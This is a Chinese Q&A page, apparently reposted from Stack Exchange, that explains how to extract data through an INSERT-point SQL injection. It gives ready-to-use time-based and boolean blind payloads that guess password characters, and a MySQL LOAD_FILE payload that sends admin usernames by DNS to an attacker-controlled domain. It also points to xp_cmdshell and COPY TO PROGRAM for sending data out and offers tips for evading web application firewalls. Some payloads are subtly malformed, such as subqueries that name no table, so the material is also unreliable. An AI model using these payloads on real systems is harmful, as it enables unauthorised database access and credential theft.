如何获取SQL注入中SELECT语句的ResultSet结果集?
可行的方法当然存在!即使无法直接获取SELECT语句的ResultSet结果,我们依然可以通过几种盲注或带外提取的方式拿到目标数据,下面是针对你这个场景的实用方案:
1. 时间盲注(Time-Based Blind Injection)
这是最常用的盲注手段之一,核心思路是通过数据库的延迟响应来判断数据是否符合预期。不同数据库的延迟函数有所区别:
- MySQL 用
SLEEP(n)或者BENCHMARK() - SQL Server 用
WAITFOR DELAY '00:00:n' - PostgreSQL 用
pg_sleep(n)
结合你的INSERT注入点,比如要猜解admin表中password字段的第一个字符,可以构造这样的注入payload:
' OR IF((SELECT SUBSTRING(password,1,1)='a'),SLEEP(5),0)--
拼入原始语句后,最终SQL会变成:
INSERT INTO users VALUES ('1' OR IF((SELECT SUBSTRING(password,1,1)='a'),SLEEP(5),0)-- ', 'value');
如果页面加载时间明显变长(比如5秒),就说明第一个字符是a;反之则不是。通过逐字符猜解,就能把完整数据拼接出来。
2. 布尔盲注(Boolean-Based Blind Injection)
如果你的页面会根据SQL执行结果返回不同状态(比如插入成功显示“操作完成”,失败显示“出错了”),布尔盲注会更高效。核心是通过SQL语句的执行结果(真/假)触发页面的不同反馈。
比如要判断是否存在admin用户,可以构造:
' OR (SELECT COUNT(*) FROM admin WHERE username='admin')=1--
如果页面显示插入成功,说明存在该用户;如果失败则不存在。同样可以扩展到逐字符猜解数据:
' OR (SELECT SUBSTRING(password,1,1)='b')=1--
根据页面的成功/失败状态,就能确定每个位置的字符。
3. 带外数据提取(Out-of-Band Injection)
如果数据库服务器能访问外部网络,且你有一个可控的服务器(用来接收数据),这种方法可以直接把数据“推”给你,效率比盲注高很多。不同数据库的实现方式不同:
- MySQL:用
LOAD_FILE()结合DNS查询,比如:
数据库会尝试访问你构造的域名,你可以通过自己服务器的DNS日志拿到被查询的用户名。' UNION SELECT 1,LOAD_FILE(CONCAT('\\\\',(SELECT username FROM admin LIMIT 1),'.your-server-domain.com\\x'))-- - SQL Server:可以用
xp_cmdshell执行命令发送数据,或者用OPENROWSET发起HTTP请求。 - PostgreSQL:用
COPY TO PROGRAM执行系统命令,把数据输出到外部。
需要注意的是,这种方法通常需要数据库有较高权限(比如文件系统访问、命令执行权限),且网络环境允许对外请求。
一些额外提示
- 不同数据库的函数语法差异很大,要根据目标数据库调整payload;
- 部分场景下可能需要绕过WAF或过滤,比如用注释、编码、大小写混淆等技巧;
- 盲注过程可以用自动化工具(比如sqlmap)提高效率,不用手动逐字符猜解。
内容的提问来源于stack exchange,提问作者user8027470
相关产品推荐
相关产品推荐

